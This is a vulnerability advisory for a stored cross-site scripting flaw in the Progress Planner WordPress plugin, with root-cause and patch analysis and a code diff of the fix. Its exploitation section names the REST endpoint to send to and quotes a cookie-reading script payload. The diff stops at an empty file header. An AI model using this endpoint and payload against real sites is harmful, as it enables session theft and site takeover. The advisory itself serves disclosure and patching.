Published : June 22, 2026

CVE-2026-28116: Progress Planner <= 1.9.0 Authenticated (Editor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.9.0
Patched Version 1.9.1
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28116:
The Progress Planner plugin for WordPress (versions up to and including 1.9.0) contains a Stored Cross-Site Scripting vulnerability in its REST API for suggested recommendations. An authenticated attacker with editor-level access or above can inject arbitrary web scripts into recommendation titles, which are later executed when users access pages displaying those recommendations. The CVSS score is 4.4 (Medium), and it affects multi-site installations or those where unfiltered_html has been disabled.

Root Cause:
The vulnerability originates in the `class-suggested-tasks.php` file, specifically in the REST API handling for the `prpl_recommendations` post type. WordPress’s built-in `sanitize_post()` and REST API validators do not strip HTML from post titles by default; they rely on the user’s `unfiltered_html` capability. However, developers of Progress Planner used the recommendation title directly in JavaScript templates (e.g., `views/js-templates/suggested-task.html`) where the title is rendered unescaped. The file `class-suggested-tasks.php` (lines 67-71) shows the fix: a new filter `rest_pre_insert_prpl_recommendations` was added pointing to the method `rest_sanitize_recommendation`. Before the patch, no such sanitization existed. The attacker could send a REST API request to `/wp-json/wp/v2/prpl_recommendations` with a `title` field containing HTML/JavaScript payloads, and the server would store them as-is because the plugin did not intercept the REST insertion process.

Exploitation:
An attacker with editor-level privileges (or higher) sends a POST request to the WordPress REST API endpoint `/wp-json/wp/v2/prpl_recommendations`. The request body contains JSON with a `title` property set to a malicious XSS payload, such as `` or `alert(document.cookie)`. Since the plugin’s REST controller does not sanitize the title beyond WordPress defaults (which allow HTML for users with `unfiltered_html` capability, or bypass it completely in multi-site), the payload is stored in the database. When any user (including administrators) visits a page that renders suggested tasks, the JavaScript template outputs the title without escaping, causing the script to execute in the victim’s browser.

Patch Analysis:
The patch introduces a new method `rest_sanitize_recommendation()` in `class-suggested-tasks.php` (lines 495-517). This method is hooked to `rest_pre_insert_prpl_recommendations` and runs on every insert or update of a recommendation via the REST API. It applies two sanitization functions in sequence: `wp_strip_all_tags()` removes all HTML tags, then `sanitize_text_field()` further cleans the text. This ensures the stored title is plain text with no executable markup. Additionally, an update class (`class-update-191.php`) sanitizes existing recommendation titles in the database to remediate previously stored malicious content. The patch also changes the constructor: the class `Page_Settings` no longer hooks AJAX actions for `prpl_settings_form`, shifting to a direct PHP method call (`set_page_values`) that receives already-sanitized values from the caller, reducing the attack surface.

Impact:
A successful exploit allows an authenticated attacker (editor or higher) to execute arbitrary JavaScript in the context of any user viewing the Progress Planner admin pages, including site administrators. This can lead to session hijacking, credential theft, forced administrative actions (e.g., creating new admin users), or defacement of the WordPress admin dashboard. Since the injected script executes in the WordPress admin area, the attacker gains full control over the WordPress installation, enabling complete site compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/progress-planner/classes/admin/class-page-settings.php
+++ b/progress-planner/classes/admin/class-page-settings.php
@@ -15,42 +15,6 @@
 class Page_Settings {

 	/**
-	 * Constructor.
-	 */
-	public function __construct() {
-		// Add the admin menu page.
-		add_action( 'admin_menu', [ $this, 'add_admin_menu_page' ] );
-
-		// Add AJAX hooks to save options.
-		add_action( 'wp_ajax_prpl_settings_form', [ $this, 'store_settings_form_options' ] );
-	}
-
-	/**
-	 * Add admin-menu page, as a submenu in the progress-planner menu.
-	 *
-	 * @return void
-	 */
-	public function add_admin_menu_page() {
-		add_submenu_page(
-			'progress-planner',
-			esc_html__( 'Settings', 'progress-planner' ),
-			esc_html__( 'Settings', 'progress-planner' ),
-			'manage_options',
-			'progress-planner-settings',
-			[ $this, 'add_admin_page_content' ]
-		);
-	}
-
-	/**
-	 * Add content to the admin page of the free plugin.
-	 *
-	 * @return void
-	 */
-	public function add_admin_page_content() {
-		require_once PROGRESS_PLANNER_DIR . '/views/admin-page-settings.php';
-	}
-
-	/**
 	 * Get an array of settings.
 	 *
 	 * @return array
@@ -58,27 +22,28 @@
 	public function get_settings() {
 		$settings = [];
 		foreach ( progress_planner()->get_page_types()->get_page_types() as $page_type ) {
-			if ( ! $this->should_show_setting( $page_type['slug'] ) ) {
+			$slug = (string) $page_type['slug']; // @phpstan-ignore offsetAccess.invalidOffset
+			if ( ! $this->should_show_setting( $slug ) ) {
 				continue;
 			}

-			$settings[ $page_type['slug'] ] = [
-				'id'          => $page_type['slug'],
+			$settings[ $slug ] = [
+				'id'          => $slug,
 				'value'       => '_no_page_needed',
 				'isset'       => 'no',
-				'title'       => $page_type['title'],
-				'description' => $page_type['description'] ?? '',
+				'title'       => $page_type['title'], // @phpstan-ignore offsetAccess.invalidOffset
+				'description' => $page_type['description'] ?? '', // @phpstan-ignore offsetAccess.invalidOffset
 				'type'        => 'page-select',
-				'page'        => $page_type['slug'],
+				'page'        => $slug,
 			];

-			if ( progress_planner()->get_page_types()->is_page_needed( $page_type['slug'] ) ) {
-				$type_pages = progress_planner()->get_page_types()->get_posts_by_type( 'any', $page_type['slug'] );
+			if ( progress_planner()->get_page_types()->is_page_needed( $slug ) ) {
+				$type_pages = progress_planner()->get_page_types()->get_posts_by_type( 'any', $slug );
 				if ( empty( $type_pages ) ) {
-					$settings[ $page_type['slug'] ]['value'] = progress_planner()->get_page_types()->get_default_page_id_by_type( $page_type['slug'] );
+					$settings[ $slug ]['value'] = progress_planner()->get_page_types()->get_default_page_id_by_type( $slug );
 				} else {
-					$settings[ $page_type['slug'] ]['value'] = $type_pages[0]->ID;
-					$settings[ $page_type['slug'] ]['isset'] = 'yes';
+					$settings[ $slug ]['value'] = $type_pages[0]->ID;
+					$settings[ $slug ]['isset'] = 'yes';

 					// If there is more than one page, we need to check if the page has a parent with the same page-type assigned.
 					if ( 1 < count( $type_pages ) ) {
@@ -89,7 +54,7 @@
 						foreach ( $type_pages as $type_page ) {
 							$parent = get_post_field( 'post_parent', $type_page->ID );
 							if ( $parent && in_array( (int) $parent, $type_pages_ids, true ) ) {
-								$settings[ $page_type['slug'] ]['value'] = $parent;
+								$settings[ $slug ]['value'] = $parent;
 								break;
 							}
 						}
@@ -123,95 +88,76 @@
 	}

 	/**
-	 * Store the settings form options.
+	 * Set the page value.
+	 *
+	 * @param array $pages The pages.
 	 *
 	 * @return void
 	 */
-	public function store_settings_form_options() {
-
-		if ( ! current_user_can( 'manage_options' ) ) {
-			wp_send_json_error( [ 'message' => esc_html__( 'You do not have permission to update settings.', 'progress-planner' ) ] );
-		}
+	public function set_page_values( $pages ) {

-		// Use check_ajax_referer instead of check_admin_referer for AJAX handlers.
-		// check_admin_referer is designed for form submissions, not AJAX requests.
-		if ( ! check_ajax_referer( 'progress_planner', 'nonce', false ) ) {
-			wp_send_json_error( [ 'message' => esc_html__( 'Invalid nonce.', 'progress-planner' ) ] );
+		if ( empty( $pages ) ) {
+			return;
 		}

-		if ( isset( $_POST['pages'] ) ) {
-			// Sanitize the pages array at point of reception.
-			$pages = map_deep( wp_unslash( $_POST['pages'] ), 'sanitize_text_field' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-
-			foreach ( $pages as $type => $page_args ) {
-				$need_page = isset( $page_args['have_page'] ) ? $page_args['have_page'] : '';
-
-				progress_planner()->get_page_types()->set_no_page_needed(
-					$type,
-					'not-applicable' === $need_page
-				);
-
-				// Remove the post-meta from the existing posts.
-				$existing_posts = progress_planner()->get_page_types()->get_posts_by_type( 'any', $type );
-				foreach ( $existing_posts as $post ) {
-					if ( $post->ID === (int) $page_args['id'] && 'no' !== $page_args['have_page'] ) {
-						continue;
-					}
+		foreach ( $pages as $type => $page_args ) {
+			$need_page = isset( $page_args['have_page'] ) ? $page_args['have_page'] : '';

-					// Get the term-ID for the type.
-					$term = get_term_by( 'slug', $type, Page_Types::TAXONOMY_NAME );
-					if ( ! $term instanceof WP_Term ) {
-						continue;
-					}
+			progress_planner()->get_page_types()->set_no_page_needed(
+				$type,
+				'not-applicable' === $need_page
+			);

-					// Remove the assigned terms from the `progress_planner_page_types` taxonomy.
-					wp_remove_object_terms( $post->ID, $term->term_id, Page_Types::TAXONOMY_NAME );
+			// Remove the post-meta from the existing posts.
+			$existing_posts = progress_planner()->get_page_types()->get_posts_by_type( 'any', $type );
+			foreach ( $existing_posts as $post ) {
+				if ( $post->ID === (int) $page_args['id'] && 'no' !== $page_args['have_page'] ) {
+					continue;
 				}

-				// Skip if the ID is not set.
-				if ( ! isset( $page_args['id'] ) || 1 > (int) $page_args['id'] ) {
+				// Get the term-ID for the type.
+				$term = get_term_by( 'slug', $type, Page_Types::TAXONOMY_NAME );
+				if ( ! $term instanceof WP_Term ) {
 					continue;
 				}

-				if ( 'no' !== $page_args['have_page'] ) {
-					// Add the term to the `progress_planner_page_types` taxonomy.
-					progress_planner()->get_page_types()->set_page_type_by_id( (int) $page_args['id'], $type );
-				}
+				// Remove the assigned terms from the `progress_planner_page_types` taxonomy.
+				wp_remove_object_terms( $post->ID, $term->term_id, Page_Types::TAXONOMY_NAME );
 			}
-		}

-		$this->save_settings();
-		$this->save_post_types();
-
-		do_action( 'progress_planner_settings_form_options_stored' );
+			// Skip if the ID is not set.
+			if ( ! isset( $page_args['id'] ) || 1 > (int) $page_args['id'] ) {
+				continue;
+			}

-		wp_send_json_success( esc_html__( 'Options stored successfully', 'progress-planner' ) );
+			if ( 'no' !== $page_args['have_page'] ) {
+				// Add the term to the `progress_planner_page_types` taxonomy.
+				progress_planner()->get_page_types()->set_page_type_by_id( (int) $page_args['id'], $type );
+			}
+		}
 	}

 	/**
-	 * Save the settings.
+	 * Save the redirect on login setting.
+	 *
+	 * @param bool $redirect_on_login Whether to redirect on login.
 	 *
 	 * @return void
 	 */
-	public function save_settings() {
-		// Nonce is already checked in store_settings_form_options() which calls this method.
-		$redirect_on_login = isset( $_POST['prpl-redirect-on-login'] ) // phpcs:ignore WordPress.Security.NonceVerification.Missing
-			? sanitize_text_field( wp_unslash( $_POST['prpl-redirect-on-login'] ) ) // phpcs:ignore WordPress.Security.NonceVerification.Missing
-			: false;
-
-		update_user_meta( get_current_user_id(), 'prpl_redirect_on_login', (bool) $redirect_on_login );
+	public function save_redirect_on_login( $redirect_on_login = false ) {
+		update_user_meta( get_current_user_id(), 'prpl_redirect_on_login', $redirect_on_login );
 	}

 	/**
 	 * Save the post types.
 	 *
+	 * @param array $post_types The post types.
+	 *
 	 * @return void
 	 */
-	public function save_post_types() {
-		// Nonce is already checked in store_settings_form_options() which calls this method.
-		$include_post_types = isset( $_POST['prpl-post-types-include'] ) // phpcs:ignore WordPress.Security.NonceVerification.Missing
-			? array_map( 'sanitize_text_field', wp_unslash( $_POST['prpl-post-types-include'] ) ) // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Missing
-			// If no post types are selected, use the default post types (post and page can be deregistered).
+	public function save_post_types( $post_types = [] ) {
+		$include_post_types = ! empty( $post_types )
+			? $post_types
 			: array_intersect( [ 'post', 'page' ], progress_planner()->get_settings()->get_public_post_types() );

 		progress_planner()->get_settings()->set( 'include_post_types', $include_post_types );
--- a/progress-planner/classes/admin/widgets/class-activity-scores.php
+++ b/progress-planner/classes/admin/widgets/class-activity-scores.php
@@ -98,7 +98,8 @@
 		$items   = $this->get_checklist();
 		$results = [];
 		foreach ( $items as $item ) {
-			$results[ $item['label'] ] = $item['callback']();
+			$label             = (string) $item['label']; // @phpstan-ignore offsetAccess.invalidOffset
+			$results[ $label ] = $item['callback'](); // @phpstan-ignore offsetAccess.invalidOffset
 		}
 		return $results;
 	}
--- a/progress-planner/classes/class-base.php
+++ b/progress-planner/classes/class-base.php
@@ -86,10 +86,12 @@
 	 */
 	public function init() {
 		if ( ! function_exists( 'current_user_can' ) ) {
-			require_once ABSPATH . 'wp-includes/capabilities.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-includes/capabilities.php';
 		}
 		if ( ! function_exists( 'wp_get_current_user' ) ) {
-			require_once ABSPATH . 'wp-includes/pluggable.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-includes/pluggable.php';
 		}

 		if ( defined( 'IS_PLAYGROUND_PREVIEW' ) && constant( 'IS_PLAYGROUND_PREVIEW' ) === true ) {
@@ -380,7 +382,8 @@

 		// Otherwise, use the plugin header.
 		if ( ! function_exists( 'get_file_data' ) ) {
-			require_once ABSPATH . 'wp-includes/functions.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-includes/functions.php';
 		}

 		if ( ! self::$plugin_version ) {
--- a/progress-planner/classes/class-suggested-tasks.php
+++ b/progress-planner/classes/class-suggested-tasks.php
@@ -67,6 +67,9 @@
 		// Filter the REST API response.
 		add_filter( 'rest_prepare_prpl_recommendations', [ $this, 'rest_prepare_recommendation' ], 10, 2 );

+		// Sanitize the recommendation title on insert/update via the REST API, to prevent stored XSS.
+		add_filter( 'rest_pre_insert_prpl_recommendations', [ $this, 'rest_sanitize_recommendation' ], 10, 2 );
+
 		add_filter( 'wp_trash_post_days', [ $this, 'change_trashed_posts_lifetime' ], 10, 2 );
 	}

@@ -479,6 +482,7 @@

 		// Handle sorting parameters.
 		if ( isset( $request['filter']['orderby'] ) ) {
+			// @phpstan-ignore-next-line argument.templateType
 			$args['orderby'] = sanitize_sql_orderby( $request['filter']['orderby'] );
 		}
 		if ( isset( $request['filter']['order'] ) ) {
@@ -491,6 +495,28 @@
 	}

 	/**
+	 * Sanitize a recommendation before it is inserted or updated via the REST API.
+	 *
+	 * Recommendation titles are plain text (they are rendered unescaped in JS
+	 * templates such as views/js-templates/suggested-task.html), so we strip any
+	 * HTML tags here to prevent stored XSS. This runs regardless of the user's
+	 * `unfiltered_html` capability, which WordPress would otherwise honor for the
+	 * post title.
+	 *
+	 * @param stdClass        $prepared_post An object representing a single post prepared for inserting or updating the database.
+	 * @param WP_REST_Request $request       The request object.
+	 *
+	 * @return stdClass The sanitized post object.
+	 */
+	public function rest_sanitize_recommendation( $prepared_post, $request ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed
+		if ( isset( $prepared_post->post_title ) ) {
+			$prepared_post->post_title = sanitize_text_field( wp_strip_all_tags( $prepared_post->post_title ) );
+		}
+
+		return $prepared_post;
+	}
+
+	/**
 	 * Filter the REST API response.
 	 *
 	 * @param WP_REST_Response $response The response.
--- a/progress-planner/classes/suggested-tasks/class-task.php
+++ b/progress-planner/classes/suggested-tasks/class-task.php
@@ -183,12 +183,14 @@

 		// Make sure WP_REST_Posts_Controller is loaded.
 		if ( ! class_exists( 'WP_REST_Posts_Controller' ) ) {
-			require_once ABSPATH . 'wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php';
 		}

 		// Make sure WP_REST_Request is loaded.
 		if ( ! class_exists( 'WP_REST_Request' ) ) {
-			require_once ABSPATH . 'wp-includes/rest-api/class-wp-rest-request.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-includes/rest-api/class-wp-rest-request.php';
 		}

 		// Use the appropriate controller for the post type.
--- a/progress-planner/classes/suggested-tasks/data-collector/class-inactive-plugins.php
+++ b/progress-planner/classes/suggested-tasks/data-collector/class-inactive-plugins.php
@@ -47,7 +47,8 @@
 	 */
 	protected function calculate_data() {
 		if ( ! function_exists( 'get_plugins' ) ) {
-			require_once ABSPATH . 'wp-admin/includes/plugin.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-admin/includes/plugin.php';
 		}

 		// Clear the plugins cache, so get_plugins() returns the latest plugins.
--- a/progress-planner/classes/suggested-tasks/providers/class-core-update.php
+++ b/progress-planner/classes/suggested-tasks/providers/class-core-update.php
@@ -107,7 +107,8 @@
 	public function should_add_task() {
 		// Without this wp_get_update_data() might not return correct data for the core updates (depending on the timing).
 		if ( ! function_exists( 'get_core_updates' ) ) {
-			require_once ABSPATH . 'wp-admin/includes/update.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-admin/includes/update.php';
 		}

 		// For wp_get_update_data() to return correct data it needs to be called after the 'admin_init' action (with priority 10).
--- a/progress-planner/classes/suggested-tasks/providers/class-fewer-tags.php
+++ b/progress-planner/classes/suggested-tasks/providers/class-fewer-tags.php
@@ -154,7 +154,8 @@
 	protected function is_plugin_active() {
 		if ( null === $this->is_plugin_active ) {
 			if ( ! function_exists( 'get_plugins' ) ) {
-				require_once ABSPATH . 'wp-admin/includes/plugin.php'; // @phpstan-ignore requireOnce.fileNotFound
+				// @phpstan-ignore-next-line requireOnce.fileNotFound
+				require_once ABSPATH . 'wp-admin/includes/plugin.php';
 			}

 			$plugins                = get_plugins();
--- a/progress-planner/classes/suggested-tasks/providers/class-select-locale.php
+++ b/progress-planner/classes/suggested-tasks/providers/class-select-locale.php
@@ -205,7 +205,8 @@
 	public function print_popover_form_contents() {

 		if ( ! function_exists( 'wp_get_available_translations' ) ) {
-			require_once ABSPATH . 'wp-admin/includes/translation-install.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-admin/includes/translation-install.php';
 		}

 		$languages    = get_available_languages();
@@ -277,7 +278,8 @@

 		// Handle translation installation.
 		if ( current_user_can( 'install_languages' ) ) {
-			require_once ABSPATH . 'wp-admin/includes/translation-install.php'; // @phpstan-ignore requireOnce.fileNotFound
+			// @phpstan-ignore-next-line requireOnce.fileNotFound
+			require_once ABSPATH . 'wp-admin/includes/translation-install.php';

 			if ( wp_can_install_language_pack() ) {
 				$language = wp_download_language_pack( $language_for_update );
--- a/progress-planner/classes/ui/class-chart.php
+++ b/progress-planner/classes/ui/class-chart.php
@@ -15,8 +15,11 @@
 	/**
 	 * Build a chart for the stats.
 	 *
-	 * @param array $args The arguments for the chart.
-	 *                    See `get_chart_data` for the available parameters.
+	 * @param array $args {
+	 *     The arguments for the chart. See `get_chart_data` for all available parameters.
+	 *
+	 *     @type string $type Chart type (e.g., 'line', 'bar').
+	 * }
 	 *
 	 * @return void
 	 */
@@ -28,23 +31,49 @@
 	/**
 	 * Get data for the chart.
 	 *
-	 * @param array $args The arguments for the chart.
-	 *                    ['items_callback'] The callback to get items.
-	 *                    ['filter_results'] The callback to filter the results. Leave empty/null to skip filtering.
-	 *                    ['dates_params']   The dates parameters for the query.
-	 *                                    ['start_date'] The start date for the chart.
-	 *                                    ['end_date']   The end date for the chart.
-	 *                                    ['frequency']  The frequency for the chart nodes.
-	 *                                    ['format']     The format for the label.
+	 * Normalized charts:
+	 * When $args['normalized'] is true, the chart implements a "decay" algorithm that carries
+	 * forward previous period's activities into the current period with decaying values.
+	 * This creates a rolling momentum effect where past activities continue to contribute
+	 * to current scores, gradually diminishing over time.
+	 *
+	 * Example: If a user published 10 posts in January, the normalized chart for February
+	 * will include both February's new posts plus a decayed value from January's posts.
+	 * This encourages consistent activity by showing how past work continues to have impact.
+	 *
+	 * @param array $args {
+	 *     The arguments for the chart.
+	 *
+	 *     @type callable $items_callback  Callback to fetch items for a date range.
+	 *                                     Signature: function( DateTime $start_date, DateTime $end_date ): array
+	 *     @type callable|null $filter_results Optional callback to filter results after fetching.
+	 *                                         Signature: function( array $activities ): array
+	 *     @type array    $dates_params    {
+	 *         Date range and frequency parameters.
+	 *
+	 *         @type DateTime $start_date The start date for the chart.
+	 *         @type DateTime $end_date   The end date for the chart.
+	 *         @type string   $frequency  The frequency for chart nodes (e.g., 'day', 'week', 'month').
+	 *         @type string   $format     The label format (e.g., 'Y-m-d', 'M j').
+	 *     }
+	 *     @type bool     $normalized     Whether to use normalized scoring with decay from previous periods.
+	 *                                    Default false.
+	 *     @type callable $color          Callback to determine bar/line color.
+	 *                                    Signature: function(): string (hex color code)
+	 *     @type callable $count_callback Callback to calculate score from activities.
+	 *                                    Signature: function( array $activities, DateTime|null $date ): int|float
+	 *     @type int|null $max            Optional maximum value for chart scaling.
+	 *     @type string   $type           Chart type: 'line' or 'bar'. Default 'line'.
+	 *     @type array    $return_data    Which data fields to return in output.
+	 *                                    Default ['label', 'score', 'color'].
+	 * }
 	 *
-	 * @return array
+	 * @return array Array of chart data points, each containing requested fields (label, score, color, etc).
 	 */
 	public function get_chart_data( $args = [] ) {
 		$activities = [];

-		/*
-		 * Set default values for the arguments.
-		 */
+		// Set default values for the arguments.
 		$args = wp_parse_args(
 			$args,
 			[
@@ -61,7 +90,7 @@
 			]
 		);

-		// Get the periods for the chart.
+		// Get the periods for the chart (e.g., months, weeks, days based on frequency).
 		$periods = progress_planner()->get_utils__date()->get_periods(
 			$args['dates_params']['start_date'],
 			$args['dates_params']['end_date'],
@@ -69,15 +98,25 @@
 		);

 		/*
-		 * "Normalized" charts decay the score of previous months activities,
-		 * and add them to the current month score.
-		 * This means that for "normalized" charts, we need to get activities
-		 * for the month prior to the first period.
+		 * For "normalized" charts, implement a decay algorithm:
+		 * - Previous period's activities "decay" and carry forward into current period
+		 * - This creates momentum: past productivity continues to boost current scores
+		 * - We need to fetch activities from the month BEFORE the chart starts
+		 * - These previous activities will be added (with decay) to the first period's score
+		 *
+		 * Example: For a chart starting Feb 1, fetch Jan 1-31 activities to contribute
+		 * to February's normalized score.
 		 */
 		$previous_period_activities = [];
 		if ( $args['normalized'] ) {
-			$previous_month_start       = ( clone $periods[0]['start_date'] )->modify( '-1 month' );
-			$previous_month_end         = ( clone $periods[0]['start_date'] )->modify( '-1 day' );
+			/**
+			 * The start date of the first period.
+			 *
+			 * @var DateTime $first_period_start
+			 */
+			$first_period_start         = $periods[0]['start_date'];
+			$previous_month_start       = ( clone $first_period_start )->modify( '-1 month' );
+			$previous_month_end         = ( clone $first_period_start )->modify( '-1 day' );
 			$previous_period_activities = $args['items_callback']( $previous_month_start, $previous_month_end );
 			if ( $args['filter_results'] ) {
 				$activities = $args['filter_results']( $activities );
@@ -92,7 +131,8 @@
 			$previous_period_activities = $period_data['previous_period_activities'];
 			$period_data_filtered       = [];
 			foreach ( $args['return_data'] as $key ) {
-				$period_data_filtered[ $key ] = $period_data[ $key ];
+				$key_string                          = (string) $key; // @phpstan-ignore offsetAccess.invalidOffset
+				$period_data_filtered[ $key_string ] = $period_data[ $key_string ]; // @phpstan-ignore offsetAccess.invalidOffset
 			}
 			$data[] = $period_data_filtered;
 		}
@@ -101,30 +141,55 @@
 	}

 	/**
-	 * Get the data for a period.
+	 * Get the data for a single period in the chart.
 	 *
-	 * @param array $period                    The period.
-	 * @param array $args                      The arguments for the chart.
-	 * @param array $previous_period_activities The activities for the previous month.
-	 *
-	 * @return array
+	 * For normalized charts, this implements the decay algorithm:
+	 * 1. Calculate score from current period's activities (normal scoring)
+	 * 2. Add decayed score from previous period's activities (normalized bonus)
+	 * 3. Save current activities to decay into next period
+	 *
+	 * The decay is handled by the count_callback, which typically reduces scores
+	 * based on how old the activities are relative to the current period.
+	 *
+	 * @param array $period {
+	 *     The time period being processed.
+	 *
+	 *     @type DateTime $start_date Period start date.
+	 *     @type DateTime $end_date   Period end date.
+	 *     @type string   $label      Human-readable label for this period.
+	 * }
+	 * @param array $args                       The chart arguments (see get_chart_data).
+	 * @param array $previous_period_activities Activities from the previous period to apply decay to.
+	 *
+	 * @return array {
+	 *     Period data with score and metadata.
+	 *
+	 *     @type string      $label                      Period label (e.g., "Jan 2025").
+	 *     @type int|float   $score                      Calculated score for this period.
+	 *     @type string      $color                      Color for this data point.
+	 *     @type array       $previous_period_activities Activities to carry forward to next period.
+	 * }
 	 */
 	public function get_period_data( $period, $args, $previous_period_activities ) {
-		// Get the activities for the period.
+		// Get the activities for the current period.
 		$activities = $args['items_callback']( $period['start_date'], $period['end_date'] );
-		// Filter the results if a callback is provided.
+
+		// Apply optional filtering callback.
 		if ( $args['filter_results'] ) {
 			$activities = $args['filter_results']( $activities );
 		}

-		// Calculate the score for the period.
+		// Calculate the base score from current period's activities.
 		$period_score = $args['count_callback']( $activities, $period['start_date'] );

-		// If this is a "normalized" chart, we need to calculate the score for the previous month activities.
+		// For normalized charts, apply decay algorithm.
 		if ( $args['normalized'] ) {
-			// Add the previous month activities to the current month score.
+			// Add decayed score from previous period's activities to current score.
+			// The count_callback determines the decay rate based on activity age.
 			$period_score += $args['count_callback']( $previous_period_activities, $period['start_date'] );
-			// Update the previous month activities for the next iteration of the loop.
+
+			// Save current activities to decay into the next period.
+			// This creates a rolling momentum effect across time periods.
 			$previous_period_activities = $activities;
 		}

--- a/progress-planner/classes/update/class-update-140.php
+++ b/progress-planner/classes/update/class-update-140.php
@@ -41,10 +41,12 @@
 		// This is to ensure that we don't lose any tasks, and at the same time we don't have duplicate tasks.
 		$tasks = [];
 		foreach ( $new_tasks as $new_task ) {
-			$tasks[ isset( $new_task['task_id'] ) ? $new_task['task_id'] : md5( maybe_serialize( $new_task ) ) ] = $new_task;
+			$key           = isset( $new_task['task_id'] ) ? (string) $new_task['task_id'] : md5( maybe_serialize( $new_task ) ); // @phpstan-ignore offsetAccess.invalidOffset
+			$tasks[ $key ] = $new_task;
 		}
 		foreach ( $old_tasks as $old_task ) {
-			$tasks[ isset( $old_task['task_id'] ) ? $old_task['task_id'] : md5( maybe_serialize( $old_task ) ) ] = $old_task;
+			$key           = isset( $old_task['task_id'] ) ? (string) $old_task['task_id'] : md5( maybe_serialize( $old_task ) ); // @phpstan-ignore offsetAccess.invalidOffset
+			$tasks[ $key ] = $old_task;
 		}

 		// Set the tasks option.
--- a/progress-planner/classes/update/class-update-191.php
+++ b/progress-planner/classes/update/class-update-191.php
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Update class for version 1.9.1.
+ *
+ * @package Progress_Planner
+ */
+
+namespace Progress_PlannerUpdate;
+
+/**
+ * Update class for version 1.9.1.
+ *
+ * @package Progress_Planner
+ */
+class Update_191 {
+
+	const VERSION = '1.9.1';
+
+	/**
+	 * Run the update.
+	 *
+	 * @return void
+	 */
+	public function run() {
+		$this->sanitize_recommendation_titles();
+	}
+
+	/**
+	 * Strip HTML tags from existing recommendation titles.
+	 *
+	 * Titles are now sanitized on write, but rows stored before that may still
+	 * contain markup. This cleans them up.
+	 *
+	 * @return void
+	 */
+	private function sanitize_recommendation_titles() {
+		$db = progress_planner()->get_suggested_tasks_db();
+
+		// get() defaults to all relevant statuses (publish, trash, draft, future, pending).
+		$recommendations = $db->get();
+
+		foreach ( $recommendations as $recommendation ) {
+			$sanitized = sanitize_text_field( wp_strip_all_tags( $recommendation->post_title ) );
+
+			// Nothing to do if stripping didn't change the title.
+			if ( $sanitized === $recommendation->post_title ) {
+				continue;
+			}
+
+			// A title that was pure markup strips to an empty string. The plugin
+			// never stores title-less recommendations (Suggested_Tasks_DB::add()
+			// rejects them), so such a row is junk - delete it. This also avoids
+			// WordPress's empty-content guard, which would otherwise reject an
+			// update that leaves the title empty and leave the markup in place.
+			if ( '' === $sanitized ) {
+				$db->delete_recommendation( (int) $recommendation->ID );
+				continue;
+			}
+
+			$db->update_recommendation( $recommendation->ID, [ 'post_title' => $sanitized ] );
+		}
+	}
+}
--- a/progress-planner/classes/utils/class-color-customizer.php
+++ b/progress-planner/classes/utils/class-color-customizer.php
@@ -130,7 +130,7 @@
 					$post_value  = isset( $_POST[ $key ] ) ? sanitize_text_field( wp_unslash( $_POST[ $key ] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing
 					$color_value = sanitize_text_field( wp_unslash( $post_value ) );
 					if ( ! empty( $color_value ) ) {
-						$colors[ $variable ] = $color_value;
+						$colors[ $variable ] = $color_value; // @phpstan-ignore offsetAccess.invalidOffset
 					}
 				}
 			}
--- a/progress-planner/classes/utils/class-date.php
+++ b/progress-planner/classes/utils/class-date.php
@@ -18,10 +18,7 @@
 	 * @param DateTime $start_date The start date.
 	 * @param DateTime $end_date   The end date.
 	 *
-	 * @return array [
-	 *                 'start_date' => DateTime,
-	 *                 'end_date'   => DateTime,
-	 *               ].
+	 * @return array <array<string, DateTime>>
 	 */
 	public function get_range( $start_date, $end_date ) {
 		$dates = iterator_to_array( new DatePeriod( $start_date, new DateInterval( 'P1D' ), $end_date ), false );
@@ -38,7 +35,7 @@
 	 * @param DateTime $end_date   The end date.
 	 * @param string    $frequency  The frequency. Can be 'daily', 'weekly', 'monthly'.
 	 *
-	 * @return array
+	 * @return array <array{start_date: DateTime, end_date: DateTime}>
 	 */
 	public function get_periods( $start_date, $end_date, $frequency ) {
 		$end_date->modify( '+1 day' );
@@ -71,8 +68,15 @@
 		if ( empty( $date_ranges ) ) {
 			return [];
 		}
-		if ( $end_date->format( 'z' ) !== end( $date_ranges )['end_date']->format( 'z' ) ) {
-			$final_end     = clone end( $date_ranges )['end_date'];
+		$last_range = end( $date_ranges );
+		/**
+		 * The end date of the last range.
+		 *
+		 * @var DateTime $last_end_date
+		 */
+		$last_end_date = $last_range['end_date'];
+		if ( $end_date->format( 'z' ) !== $last_end_date->format( 'z' ) ) {
+			$final_end     = clone $last_end_date;
 			$date_ranges[] = $this->get_range( $final_end->modify( '+1 day' ), $end_date );
 		}

--- a/progress-planner/classes/utils/class-debug-tools.php
+++ b/progress-planner/classes/utils/class-debug-tools.php
